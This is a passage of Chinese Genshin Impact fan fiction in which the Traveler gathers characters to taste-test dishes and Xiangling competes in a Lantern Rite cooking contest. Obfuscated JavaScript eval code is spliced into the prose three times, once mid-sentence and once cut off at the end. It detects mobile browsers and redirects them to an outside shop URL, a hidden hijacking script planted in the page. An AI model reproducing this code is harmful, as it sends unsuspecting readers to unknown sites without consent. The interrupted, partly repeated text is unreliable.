她突然指着财务状况："等等！我们欠了30万摩拉？！还有25万要付利息？！" 荧平静地点头："对啊。北国银行那25万每个月都要付利息，璃月商会那5万倒是不用付息。" 派蒙："你怎么现在才说？！" 荧："之前不是没机会还吗。所以这次必须赢比赛。赢了，刚好还清30万，从此一身轻松。" 派蒙看着清单，咽了口唾沫："输了的话" 荧："输了的话，就只能去跟北国银行谈延期还款了。而且利息会越滚越多。" 派蒙打了个冷战："那那我们一定要赢！" 荧指着试菜人员名单："所以我要把这么多人都叫来试菜。免费试菜，不用白不用。" 派蒙："可是" 荧打断："你看，瑶瑶带来萍姥姥，然后请萍姥姥帮忙请留云借风真君，钟离帮我分析璃月传统菜的典故，魈提供仙人口味偏好，行秋盯着公子——这叫资源整合，懂吗？" 派蒙："等等，留云借风真君会答应吗？她可是仙人啊！" 荧："所以不能直接说''请您试菜''，得说''请真君指点后辈厨艺''。仙人好面子，给她台阶下，她就会帮忙。" 派蒙："这也太讲究了吧！" 荧："对付傲娇的人就得这样。" 派蒙又看着名单："那甘雨呢？你说让香菱回忆她平时的用餐偏好？" 荧叹了口气："甘雨最难搞定。她是七星秘书，肯定会是评委，但她太守原则了。就算瑶瑶和香菱去问，她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122039|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不会透露任何评委偏好。" 派蒙："那怎么办？" 荧："只能让香菱回忆甘雨平时在万民堂吃饭的口味。她是工作狂，经常加班到深夜去万民堂吃宵夜，香菱应该记得她喜欢清淡还是重口味。" 派蒙："这样行吗？" 荧耸耸肩："总比什么都不知道强。" 派蒙震惊："你你是魔鬼吗？" 荧："我是打工人。" 她又指着第一条："对了，你去琉璃亭和新月轩试吃的时候，记住只点最贵的菜。试吃费我报销，但要把每一分钱都花到刀刃上。" 派蒙："最贵的？" 荧："对。越贵的菜越能代表一家餐馆的真实水平。而且你要仔细观察厨师的烹饪手法、食材选用、摆盘风格，回来一五一十告诉我。" 派蒙咽了口唾沫："这这么专业？" 荧："这是基本功。" 她看着清单，又拿笔加了几行。 派蒙凑过来："咦？为什么还要防着公子来拜访？" 荧："他说要来拜访客栈，绝对不是客套话。万一他来打探情报怎么办？" 派蒙："那怎么防？" 荧："首先，重要的账本和配方要锁起来。其次，告诉魈大人留意愚人众的动向。最后，你见到公子的时候，千万别多嘴！" 派蒙："我什么时候多嘴了？！" 荧瞥她一眼。 派蒙心虚："好吧好吧，我会注意的。" 荧："商场如战场。必须做好万全准备。" 二号机在旁边用力点头。 荧合上笔记本，看向窗外。 远处，群玉阁悬浮在夜空中，璀璨夺目。 海灯节美食大赛。 璃月年度最佳商会。 她一定要拿下。 玉京台上，公子站在栏杆边，俯瞰璃月港。 身后传来脚步声。 "大人，报名已完成。" 一个北国银行的手下走过来。 公子:"很好。" 手下犹豫了一下："大人，我们真的要参加美食大赛吗？这和我们的任务有什么关系？" 公子笑了："谁说没关系？" 他转过身，看向望舒客栈的方向。 "有些事，要慢慢来。" 手下不太明白："可是" 公子摆手："照我说的做就行了。对了，联系至冬那边，让他们派个经验丰富的助手过来。虽然我自己会做菜，但比赛规格这么高，还是需要人协助准备食材和打下手。" 手下："明白了。那您打算做什么菜？" 公子："这个嘛" 他笑了笑："保密。不过可以保证，璃月人一定会很''惊喜''。" 手下："是。" 公子重新望向璃月港，嘴角微笑。 "望舒客栈，可别让我失望。" 32.试菜与初赛 三天后，派蒙回来了。 她一进门就趴在桌子上："荧，我吃不下了" 荧放下笔："试吃完了？" 派蒙有气无力地点头："琉璃亭、新月轩、松涛居，我都去了。最贵的菜全点了一遍" 荧："说重点。" 派蒙打起精神："琉璃亭的清蒸桂鱼，火候掌握得很好，但调味偏清淡。新月轩的莲花酥，酥皮层次分明，但馅料甜度不够。松涛居的" 她掏出一个小本子："这是我记下的细节。厨师的手法、食材、摆盘，都在这里。" 荧接过本子，满意地点头："干得不错。" 派蒙："那那我这个打包的" 荧："自己吃吧。算你的奖励。" 派蒙："耶！" 她拎着打包盒飞走了。 荧翻看着派蒙的笔记。虽然字迹歪歪扭扭，但记录很详细。琉璃亭偏清淡，新月轩偏甜，松涛居偏咸这些信息都很有用。 派蒙虽然是吃货，但观察力确实不错。 接下来，该处理更重要的事了。 她走到厨房，香菱正在准备食材。 荧："香菱，你去璃月港一趟，找瑶瑶过来。" 香菱抬头："瑶瑶？找她干什么？" 荧："让她来试菜啊。小孩子味觉最灵敏，而且上次在蒙德她帮忙培训大伟丘，证明她对厨艺很有天赋。" 香菱想了想："也对。那我现在就去？" 荧："嗯。顺便带点望舒客栈的特产给她，别空手去。" 香菱："好！" 她擦了擦手，出门了。 荧满意地点头。 免费劳动力第一步：瑶瑶。 一个时辰后，香菱带着瑶瑶回来了。 瑶瑶背着小药篮，蹦蹦跳跳地跑进客栈："荧姐姐！" 荧蹲下来，摸了摸她的头："瑶瑶，好久不见。" 瑶瑶："荧姐姐，大师姐说你要参加海灯节美食大赛？" 荧："对啊。所以想请你帮个忙。" 瑶瑶眨眨眼："什么忙？" 荧："试菜。香菱要研发新菜品，但我们不确定味道合不合适。你味觉这么好，能帮我们尝尝吗？" 瑶瑶："当然可以！" 她拍着胸脯："瑶瑶最喜欢吃好吃的了！" 荧心里笑了。 小孩子就是好骗。 香菱端出第一道菜："瑶瑶，尝尝这个。" 瑶瑶认真地尝了一口，皱起眉头："嗯，盐稍微有点多，而且火候好像不太够，肉还有点硬。" 香菱停下手里的勺子："你怎么知道？" 瑶瑶："师父教过我呀！她说品菜要注意咸淡、火候、口感。大师姐，你最近厨艺进步好快，但细节还要再注意一点。" 香菱笑了："谢谢瑶瑶提醒。" 荧在心里默默记下：瑶瑶确实是萍姥姥的好徒弟。 果然，瑶瑶不愧是萍姥姥的徒弟。 她蹲下来，温柔地说："瑶瑶，你师父厨艺这么好，要不你回头问问她，愿不愿意来指点一下香菱？" 瑶瑶："师父吗？" 荧："对啊。萍姥姥可是璃月最厉害的厨艺大师，要是能得到她的指点，香菱肯定能做出更好的菜。" 瑶瑶想了想："那我回去问问师父！" 荧："太好了！那你今天多试几道菜，回去告诉师父我们的进展，说不定她会更愿意帮忙。" 瑶瑶："嗯嗯！" 她又开开心心地试起菜来。 香菱在旁边看着荧，小声说："荧，你这是" 荧面不改色："这叫循序渐进。" 下午，瑶瑶试完菜，心满意足地准备回去。 荧递给她一个食盒："这是香菱特地做的莲花酥，给萍姥姥尝尝。" 瑶瑶："谢谢荧姐姐！" 荧："记得跟你师父说，望舒客栈想请她来指点香菱的厨艺。就说我们是真心想学，绝对不是打扰。" 瑶瑶："知道啦！" 她蹦蹦跳跳地走了。 派蒙这时候回来了，手里还拎着个打包盒。 荧："怎么样？" 派蒙："琉璃亭的清蒸桂鱼，火候掌握得很好，但调味偏清淡。新月轩的莲花酥，酥皮层次分明，但馅料甜度不够。" 她把笔记递给荧："这是我记下的细节。" 荧接过来，满意地点头："干得不错。" 派蒙："那那我这个打包的" 荧："自己吃吧。算你的奖励。" 派蒙："耶！" 二号机在旁边竖起大拇指："哒哒（很好）！" 隔天下午，瑶瑶又来了。 而且这次，她身后还跟着一位慈祥的老人。 萍姥姥。 香菱看到师父，立刻放下手里的锅铲，跑过来："师父！您怎么来了？" 萍姥姥笑着拍了拍她的头："瑶瑶说你要参加美食大赛，老身来看看。" 荧立刻迎上去："萍姥姥，您好。我是望舒客栈的老板荧。" 萍姥姥看了看荧，又看了看香菱："听瑶瑶说，你想请老身指点香菱的厨艺？" 荧恭敬地点头："是的。香菱虽然跟着她父亲卯师傅学了多年厨艺，但她还年轻，经验不足。如果能得到您的指点，对她来说是天大的福分。" 萍姥姥笑了："香菱是老身的徒弟不假，但老身教的是枪法，厨艺可不是老身的专长。" 荧："但您对食材、火候、调味的理解肯定比我们深。而且您见多识广，一定能看出香菱厨艺上的问题。" 萍姥姥："哦？那为什么不直接去请老身，反而先找瑶瑶？" 荧的笑容僵了半秒。 被看穿了？ 萍姥姥笑着说："小姑娘，老身活了这么多年，什么心思没见过？你是想让瑶瑶先试菜，再让她回去跟老身说，对吧？" 荧尴尬地笑了笑："萍姥姥明鉴。" 萍姥姥："不过老身倒不生气。能想到这一步，说明你脑子活。而且你确实是真心想让香菱进步，不是来骗老身的。" 她走进厨房："来吧，让老身看看你们准备的菜。" 荧松了口气。 还好萍姥姥好说话。 香菱端出几道菜，萍姥姥一一品尝，然后给出评价。 "这道莲花酥，酥皮做得不错，但馅料太甜了，要减少糖的用量。" "杏仁豆腐的口感还行，但杏仁味不够浓郁，可以多加点杏仁粉。" "这道干烧香鱼，火候掌握得很好，但酱汁太咸，要调整比例。" 香菱认真记着笔记。 萍姥姥："你这孩子悟性不错，厨艺进步很快。" 荧试探地问："萍姥姥，您认识留云借风真君吗？如果她也能来指点，那就更好了。" 萍姥姥停下筷子，转过头来："你又想打什么主意？" 荧："仙人对食材的理解肯定更深。" 萍姥姥笑了："你这小姑娘，心眼真多。也罢，老身回头跟留云提一句。不过她性子傲，你别指望她会轻易答应。" 荧："只要您愿意帮忙说，就已经很感激了。" 萍姥姥带着瑶瑶离开了。 与此同时，荧也没闲着。 魈住在客栈顶楼，荧直接敲门："魈大人，想请您试试香菱的新菜，给点意见。" 魈沉默几秒："一会儿把菜端上来。" 钟离更好说话。荧在万民堂找到他时，他正在喝茶。 荧："钟离先生，璃月传统菜品都有历史典故，您能给香菱讲讲吗？她在比赛时能更好地阐述文化内涵。顺便也请您试菜。" 钟离微笑："也罢，老夫这几日正好有空。" 又过了一天，行秋也来了。 行秋是荧主动去找的。 "行秋公子，我想请你帮个忙。" 行秋合上书："哦？什么忙？" 荧："你帮我盯着北国银行，看看公子有什么动向。顺便，也来客栈试试我们的新菜。" 行秋笑了："你这是一鱼两吃啊。" 荧："互利互惠嘛。你帮我打探情报，我请你吃好吃的。" 行秋："成交。" 过了两天，行秋又来了。 荧端上新研发的菜品："怎么样？打探到什么了吗？" 行秋品尝了一口莲花酥，点点头："这个改进不错。至于北国银行那边" 他放下筷子："公子这几天频繁出入北国银行，还专门找了一位至冬的厨师。我打听了一下，那位厨师擅长传统至冬菜式，尤其是罗宋汤和鱼汤。" 荧皱眉："他真的要参赛？" 行秋："看样子是的。而且他还去了几次万民堂和琉璃亭，应该是在观察对手。" 荧："谢谢你。" 行秋："小事一桩。对了，这杏仁豆腐能再给我来一份吗？" 荧笑了："没问题。" 又过了两天，萍姥姥又来了。 而且这次，她身后还跟着一位仙风道骨的女性。 留云借风真君。 荧快步迎上去，拱手行礼："留云真君，久仰大名。" 留云真君昂着头："本仙只是路过，顺便来看看。" 萍姥姥在旁边笑而不语。 荧立刻说："真君能来，是我们的荣幸。听说真君对食材的理解极深，如果能得到真君的指点，我们一定能做出更好的菜。" 留云真君："哼，也罢，既然萍姥姥开口了，本仙就勉为其难指点你们一二。" 她走进厨房，看了看香菱准备的菜。 "这莲花酥，莲子用的不对。要用绯云坡的青莲子，口感才够细腻。" "这杏仁豆腐，杏仁要选南天门的野生杏仁，香味更浓。" "这干烧香鱼，鱼要用璃月港新鲜的黑背鲈，肉质才够紧实。" 香菱认真记着。 留云真君看了看荧："小姑娘，你倒是有心。不过本仙可不是随便能请动的。" 荧恭敬地说："真君能来指点，已经是天大的恩惠了。我们一定会好好珍惜这次机会。" 留云真君哼了一声："算你会说话。" 她品尝了几道菜，然后给出详细的改进意见。 萍姥姥在旁边笑着说："留云，你就别傲娇了。我看你挺喜欢这些菜的。" 留云真君脸一红："本仙哪有傲娇？！本仙只是实事求是！" 荧和香菱对视一眼，忍住笑。 派蒙小声说："她明明就是傲娇嘛" 留云真君转过头，看了派蒙一眼。 派蒙赶紧捂嘴。 接下来的几天，望舒客栈变得异常热闹。 萍姥姥、留云真君、钟离、魈、行秋、瑶瑶轮流来试菜。 二号机负责端菜，三号机负责收盘子，四号机五号机负责打扫。 初号机拿着小本子，认真记录每个人的评价。 派蒙凑过去看："诶？初号机，你这画的是什么？" 本子上是一堆歪歪扭扭的简笔画： 萍姥姥 = 一个圆圈加两条线（代表老奶奶和拐杖） 留云真君 = 一个三角形加两个圈（代表仙鹤？） 钟离 = 一个竖条加一撮毛（代表他的发型） 魈 = 一个面无表情的圆脸 行秋 = 一本书 旁边画着各种符号：笑脸 = 好吃，哭脸 = 不好吃，星星 = 非常好。 荧："初号机画得不错嘛。" 派蒙："这也叫不错？！" 初号机骄傲地挺起胸膛："米哒哒（我很强）！" 香菱笑着翻看本子："虽然画得很抽象，但记录很清楚。每个人对每道菜的评价都在这里。" 荧站在一旁，满意地看着这一切。 免费试菜团队，集齐了。 派蒙小声问："荧，你这样薅羊毛，真的好吗？" 荧："什么薅羊毛？这叫资源整合。" 派蒙："可是" 荧："而且你看，大家都很开心啊。瑶瑶吃得开心，萍姥姥和留云真君能指点后辈，钟离能讲历史典故，魈能吃到新菜，行秋能打探情报。这叫多赢，懂吗？" 派蒙："听起来好像有道理" 荧拍了拍她的肩膀："所以说，打工人的智慧，你还差得远。" 海灯节美食大赛，初赛。 璃月港玉京台，人山人海。 二十八家餐馆的代表齐聚一堂，每家都摆出了自己的招牌菜。 荧带着香菱和派蒙来到比赛现场。 二号机、三号机、四号机五号机负责搬运厨具和食材，初号机则抱着那本画满简笔画的记录本，跟在香菱身边。 香菱紧张得手都在抖："荧，我我有点紧张" 荧："深呼吸，放轻松。你准备了这么久，肯定没问题。" 派蒙："对啊香菱，你可是卯师傅的女儿，厨艺都是你爹教的！" 荧拿过初号机手里的本子，翻给香菱看："而且你看，这是初号机记录的所有试菜反馈。萍姥姥说你悟性不错，留云真君点头认可，钟离先生说你对传统菜品的理解很到位，魈大人吃完了整盘杏仁豆腐。" 她指着本子上的笑脸和星星："每一道菜你都根据大家的建议改进过，现在的版本是最好的。" 香菱看着本子上歪歪扭扭的简笔画和满满的笑脸符号，眼眶有点湿。 初号机拍了拍她的肩膀："米偷摸哒哒（朋友最棒）！" 香菱笑了："谢谢你们。" 派蒙："那还紧张吗？" 香菱深吸一口气，握紧了手里的锅铲："不紧张了。我准备了这么久，大家都认可我的菜，我可以的！" 比赛开始。 评委们依次品尝每家餐馆的菜。 荧看了看评委席，心里盘算着。 凝光和刻晴代表璃月七星，甘雨是秘书，留云借风真君是仙人代表。托马代表稻妻社奉行，妮露代表须弥祖拜尔剧场。 还有一位身材高大的男性评委，胸前别着枫丹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122040|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徽章。 派蒙小声问："那个是谁？" 香菱："听说是枫丹梅洛彼得堡的公爵莱欧斯利。璃月七星这次邀请了各国的美食专家来做评委，提升比赛的国际影响力。" 荧注意到评委席上还坐着一位绿衣吟游诗人，手里拿着竖琴。 派蒙："诶？那不是温迪吗？他怎么也在？" 香菱："听说是蒙德骑士团推荐的美食顾问。" 荧心里暗笑。温迪肯定是听说有好酒好菜，混进来蹭吃蹭喝的。 荧点头。看来这次比赛规模确实很大。 香菱端出第一道菜：莲花酥。 正准备端上评委席，一个熟悉的声音响起。 "哦？这不是望舒客栈的香菱吗？" 荧转头，就看到公子站在北国银行的展位旁边，正朝这边微笑。 他身边还站着一位金发的至冬厨师，正在准备罗宋汤。 派蒙小声说："是他！" 荧压低声音："别出声。" 公子走过来："荧小姐，我们又见面了。没想到望舒客栈也参赛了。" 荧："公子不也是吗？" 公子笑了："我只是来帮北国银行的厨师打打下手。毕竟我对璃月的美食也很感兴趣。" 他看了看香菱端着的莲花酥："看起来不错。祝你们好运。" 说完，他转身回到北国银行的展位。 荧看着他的背影，手指轻轻敲了敲桌面。 公子说是"打下手"，但他会这么简单吗？ 派蒙："荧，他是不是在打探情报？" 荧："肯定是。不过我们也在防着他。" 评委们一一品尝。 凝光点头："不错，酥皮层次分明，馅料甜度适中。" 刻晴："莲子用的是绯云坡的青莲子，口感确实细腻。" 甘雨："嗯，很好。" 留云真君品尝了一口，停顿了片刻："嗯，这莲子用的是绯云坡的青莲子吧？" 她顿了顿，嘴上还是说："还行，勉强过关。" 萍姥姥在观众席上笑了。 荧心里偷笑：傲娇真君。刻晴和留云真君都提到了青莲子，看来当初听留云真君的建议是对的。 接下来是第二道菜：杏仁豆腐。 评委们又是一阵品尝。 凝光："杏仁味很浓，不错。" 刻晴："用的是南天门的野生杏仁吧？确实香。" 留云真君这次没忍住："本仙当初就说过，要用南天门的野生杏仁，你们倒是听进去了。" 她说完才反应过来，赶紧补充："不过还有改进空间。" 萍姥姥在下面笑得更开心了。 第三道菜：干烧香鱼。 这是香菱的拿手菜。 评委们品尝后，纷纷给出高分。 凝光："火候掌握得很好，鱼肉鲜嫩。" 刻晴："调味恰到好处，不咸不淡。" 甘雨："这是我吃过最好的干烧香鱼之一。" 留云真君："哼，还算可以。" 她说完，偷偷又夹了一块。 荧在旁边看着，心里乐开了花。 稳了。 轮到其他餐馆。 琉璃亭的清蒸桂鱼，评委们赞不绝口。 新月轩的莲花酥，也得到高分。 万民堂的黑背鲈，卯师傅亲自操刀，评委们连连称赞。 北国银行的至冬罗宋汤，评委们表示"异域风情，别有一番滋味"。 香菱越来越紧张。 派蒙安慰她："香菱，你做得已经很好了！" 香菱："可是其他家也都很厉害" 荧："别慌，等结果出来再说。" 评委们开始讨论。 凝光："这次水平都很高，很难取舍。" 刻晴："琉璃亭、新月轩、万民堂、望舒客栈，都做得很好。" 甘雨："望舒客栈的杏仁豆腐很有特色。" 留云真君："食材选择很用心。" 托马微笑："我更喜欢传统菜，万民堂的黑背鲈火候很好。" 温迪弹了弹竖琴："嘿！望舒客栈的莲花酥让我想起了蒙德的甜点，只可惜没配上蒙德的酒，不然就完美了。不过话说回来，这杏仁豆腐的口感真不错，绵密清甜，像诗一样流淌在舌尖~" 他眨眨眼："还有吗？我是说试吃。" 凝光看了他一眼："温迪先生，评审环节已经结束。" 温迪："诶嘿~" 莱欧斯利忍住笑："各有千秋，确实难以取舍。" 评委们讨论了很久，最后凝光宣布： "初赛晋级名单如下：琉璃亭、新月轩、万民堂、望舒客栈、北国银行、松涛居、好猎者餐厅、鹿猎人、木南料亭、鸣神料理屋。一共十家餐馆晋级复赛。" 香菱听到"望舒客栈"，激动得跳了起来："我们晋级了！" 荧也松了口气。 派蒙："太好了！" 二号机举起双手："哒哒（很好）！哒哒（很好）！" 锅巴："咿呀！" 比赛结束后，萍姥姥和留云真君走过来。 萍姥姥："香菱，做得不错。为师很高兴看到你厨艺进步了。" 香菱："谢谢师父！要不是您和留云真君指点，我不可能做得这么好。" 萍姥姥："厨艺是你跟着你父亲学的，但做事要专注、用心，这是为师教你的。今天你做到了。" 香菱眼眶有点红："师父" 留云真君看了看荧："小姑娘，你这次准备得挺充分。" 荧："多亏了真君和萍姥姥的指点。" 留云真君哼了一声："本仙可不是白帮你们的。" 荧："那真君想要什么？" 留云真君想了想："改天来绝云间，给本仙做几道菜。就当是报答。" 荧："没问题！" 留云真君满意地点头，转身离开。 萍姥姥笑着说："留云这孩子，就是嘴硬心软。" 她拍了拍香菱的肩膀："加油，复赛再接再厉。" 香菱："嗯！" 回客栈的路上，派蒙问："荧，你说复赛会比什么？" 荧："凝光宣布晋级时说了，复赛主题是''创新菜式''。不能再做传统菜了，要在传统基础上创新。" 派蒙："那我们要怎么准备？" 荧："继续找萍姥姥、留云真君、钟离他们。传统菜的底子我们有了，现在要想怎么创新。" 派蒙："这不是更难吗？" 荧："所以才要薅更多羊毛啊。萍姥姥懂传统菜式，留云真君懂食材特性，钟离懂历史典故。把这些结合起来，就是创新。" 派蒙："你可真是" 荧："打工人。" 二号机在旁边用力点头："米偷摸哒哒（朋友最棒）！" 派蒙："连丘丘人都被你洗脑了" 荧笑了。 海灯节美食大赛，才刚刚开始。 33.创新与复赛 晋级复赛的消息传回客栈，香菱却高兴不起来。 她拿着复赛规则，愁眉苦脸："创新菜式必须在传统璃月菜的基础上创新，同时保留文化内涵" 派蒙："这有什么难的？你平时不是经常发明新菜吗？" 香菱："可是这次不一样啊！要保留传统，又要创新，还要有文化内涵听起来好矛盾！" 荧看了看规则："确实是个难题。" 她想了想："先别急，我们一步步来。传统菜的底子你有，现在需要的是创新的思路。" 派蒙："那怎么创新？" 荧："这就要问问专家了。" 第二天，钟离来了。 他端着茶杯，慢条斯理地说："创新菜式？这倒是有趣的话题。" 荧："钟离先生，您对璃月传统菜品的历史最了解。能给我们讲讲吗？" 钟离放下茶杯："璃月菜系源远流长。比如莲花酥，最早可以追溯到三千年前的归终时代，当时的璃月港还是一片沼泽地，野生莲花遍地生长" 他滔滔不绝地讲起历史。 十分钟后。 派蒙趴在桌上，眼睛都快闭上了："好长啊" 香菱认真记着笔记，但也开始打哈欠。 钟离继续："后来到了魔神战争时期，莲花酥的制作工艺经历了三次改良。第一次是在岩王帝君降临璃月港之后，当时的厨师发现" 荧赶紧打断："钟离先生，我们想知道的是，怎么在传统基础上创新。" 钟离顿了顿："哦，创新。那就简单了，保留核心元素，改变呈现形式即可。" 香菱:"核心元素？" 钟离："比如莲花酥，核心是莲子馅和酥皮。你可以改变形状、加入新食材，或者改变烹饪手法，但莲子和酥皮不能丢。" 香菱："原来如此！" 荧："谢谢钟离先生。" 钟离微笑："不客气。对了，归终时代的莲花其实有十三个品种，现在只剩下七种，分别是" 荧："钟离先生，您的茶凉了。" 钟离看了看茶杯："哦，确实。那我先告辞了。" 他走后，派蒙松了口气："终于走了！再听下去我要睡着了！" 荧："但他说的有道理。保留核心，改变形式。" 香菱："我有思路了！" 接下来几天，香菱开始疯狂实验。 第一道创新菜：莲花酥冰淇淋球。 把莲花酥做成球形，里面包裹冰淇淋，外层是酥皮。 派蒙尝了一口："诶？冰冰凉凉的，还挺好吃！" 萍姥姥摇头："太离谱了。莲花酥是热的，你做成冰的，这叫什么传统？" 香菱沮丧："失败了" 第二道创新菜：杏仁豆腐披萨。 把杏仁豆腐铺在饼上，撒上坚果，烤制。 魈尝了一口，面无表情地放下筷子。 荧小声问："魈大人，怎么样？" 魈："不像杏仁豆腐，也不像披萨。" 香菱更沮丧了："又失败了" 第三道创新菜：干烧香鱼汉堡。 把干烧香鱼夹在两片馒头之间。 行秋尝了一口，礼貌地笑了笑："很有想法。" 但他没有吃第二口。 香菱彻底崩溃："为什么都不行啊！" 派蒙安慰她："别灰心，至少你很有创意" 萍姥姥叹气："香菱，你这孩子，这不是创新，这是胡闹。" 香菱委屈:"可是规则说要创新啊" 萍姥姥："创新不是把两个不相干的东西硬凑在一起。你要理解菜品的本质。" 她指着失败的作品："杏仁豆腐的本质是什么？绵密清甜。你做成披萨，失去了绵密的口感。干烧香鱼的本质是什么？鲜嫩多汁。你夹在馒头里，鱼肉变干了。" 香菱若有所思："本质" 萍姥姥："记住，创新是锦上添花，不是画蛇添足。" 初号机在旁边翻开记录本，认真画了三个哭脸： 莲花酥冰淇淋球 →哭脸（太冷） 杏仁豆腐披萨 →哭脸（口感不对） 干烧香鱼汉堡 →哭脸（鱼肉变干） 旁边还画了萍姥姥的圆圈头像，配了个大叉叉。 派蒙凑过来看："初号机，你这画得也太抽象了吧" 初号机骄傲地挺起胸膛："哒哒（记录清楚）！" 荧拍了拍香菱的肩膀："至少我们知道哪些方向不行了。换个思路。" 又过了两天，留云借风真君来了。 她看了看香菱的新作品，哼了一声："本仙听说你在研究创新菜？" 香菱紧张地点头："是的，真君。" 留云借风真君："拿来给本仙尝尝。" 香菱端出第四道创新菜：云雾莲花酥。 这次她没有乱来，而是在传统莲花酥的基础上，加入了绝云间的云雾茶粉，馅料里混入茶香。 留云真君品尝了一口，停顿片刻。 香菱紧张地等着。 留云真君："还算可以。茶香和莲子的搭配不错，但茶粉的用量要减少三分之一，否则会盖过莲子的味道。" 香菱："是！谢谢真君！" 留云真君站起身："本仙走了。对了，这个拿回去给申鹤尝尝。" 她拿走了一整盘云雾莲花酥。 萍姥姥在旁边笑："留云啊，你就直说喜欢吃不就行了？" 留云真君脸一红："本仙只是觉得不能浪费！" 她匆匆离开了。 派蒙："她明明就是喜欢吃嘛！" 荧笑了："但至少证明这道菜成功了。" 接下来，香菱又研发了两道创新菜： 仙跳墙杏仁豆腐：在杏仁豆腐里加入海参、鲍鱼等珍贵食材，提升口感和营养。 钟离品尝后点头："不错。将仙跳墙的理念融入甜品，确实是创新。而且这道菜有典故，可以讲述归终时代璃月港的海鲜贸易历史" 他又开始滔滔不绝。 荧赶紧打断："谢谢钟离先生！我们记下了！" 琥珀糖醋鱼：用琥珀色的糖醋汁包裹鱼肉，呈现出宝石般的光泽。 瑶瑶尝了一口，竖起大拇指："大师姐，这个好吃！又漂亮又好吃！" 行秋也品尝了一口："确实不错。鱼肉鲜嫩，糖醋汁的比例也恰到好处。而且这个色泽，很像璃月港的琥珀。" 荧："琥珀？" 行秋："对。璃月港是琥珀的主要产地，这道菜用琥珀色呈现，既有视觉冲击，又有文化寓意。" 香菱："原来如此！" 萍姥姥也点头："这才像样。既保留了传统，又有新意。" 香菱终于松了口气。 初号机翻开记录本，指着之前试菜时的记录： 萍姥姥的笑脸 ? 留云真君的星星 ?? 钟离的小红旗 ? 瑶瑶的大拇指画 ??? 行秋的书本符号 ? 香菱看着这些歪歪扭扭的符号，心里暖暖的。 三道创新菜，定了。 复赛当天。 玉京台上，只剩下十家餐馆。 荧带着香菱和派蒙来到比赛现场。 丘丘人们又开始忙碌：二号机搬食材，三号机准备厨具，初号机抱着那本简笔画记录本。 香菱深吸一口气："这次我不紧张了。" 荧："记住萍姥姥和留云真君说的话。" 香菱点头。 比赛开始。 评委们依次品尝每家的创新菜。 琉璃亭的创新菜：琉璃百合花茶冻。 把琉璃百合的花瓣做成果冻，配茶汤。 凝光："很精致，符合我们对琉璃亭的期待。" 新月轩的创新菜：新月千层酥。 把传统酥皮做成上百层，每层夹不同馅料。 刻晴："工艺复杂，但有点过于追求形式了。" 万民堂的创新菜：卯师傅亲自研发的龙须凤爪煲。 用传统煲汤的手法，融入新式调味。 托马："这个很好！传统和创新的平衡掌握得很好。" 轮到北国银行。 金发助手端出一道菜：至冬风味鱼汤塔。 把鱼汤做成塔状，用至冬的黑面包围成底座，上面是璃月的鲜鱼。 公子站在展位旁，对助手低声说了几句。助手点头，调整了一下鱼汤塔的摆盘。 荧注意到这个细节。看来公子不只是"打下手"，他对这道菜的细节掌控很到位。 温迪："哦？这个有意思！至冬和璃月的结合？" 他尝了一口："嗯！黑面包的醇厚和鱼汤的鲜美完美融合！这可太妙了！" 凝光看了他一眼："温迪先生，请控制一下情绪。" 温迪吐了吐舌头："诶嘿。" 公子转头，微笑着看向荧的方向。 荧面无表情。 她知道公子这道菜很厉害。而且，他绝对参与了研发。 终于轮到望舒客栈。 香菱端出第一道菜：云雾莲花酥。 评委们一一品尝。 留云真君："嗯，茶粉的用量调整得不错。" 她说完才反应过来，赶紧补充："不过还有进步空间。" 萍姥姥在观众席上笑而不语。 第二道菜：仙跳墙杏仁豆腐。 甘雨尝了一口："这个搭配很特别。" 妮露："既保留了杏仁豆腐的清甜，又有海鲜的鲜美。" 钟离忍不住开口："这道菜其实有历史渊源。归终时代的璃月港——" 凝光："钟离先生，评审时间有限。" 钟离："哦，抱歉。" 但凝光接着说："不过钟离先生提醒了我。这道菜将仙跳墙和杏仁豆腐结合，既有璃月传统宴席的理念，又保留了璃月甜品的特色。文化内涵确实不错。" 刻晴点头："同意。创新的同时没有丢掉传统。" 第三道菜：琥珀糖醋鱼。 这道菜一上桌，就引起了评委们的注意。 琥珀色的糖醋汁在阳光下闪闪发光，像一颗宝石。 温迪："哇！这也太漂亮了吧！" 托马："确实很精致。" 莱欧斯利尝了一口："味道也不错，酸甜平衡。" 甘雨看着琥珀色的鱼肉："这道菜用琥珀色呈现，应该是有寓意的吧？" 香菱连忙解释："是的！璃月港是琥珀的主要产地，我想用琥珀色代表璃月的商业文化和繁荣。" 凝光微微一笑："不错。既有视觉冲击，又有文化寓意。" 派蒙在旁边小声说："好像很成功？" 荧："别高兴太早，还要等结果。" 所有餐馆展示完毕，评委们开始讨论。 凝光："这次的创新菜水平都很高。" 刻晴："万民堂、北国银行、望舒客栈的表现都很出色。" 甘雨："我个人比较喜欢望舒客栈的琥珀糖醋鱼。" 留云真君："云雾莲花酥也不错。" ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 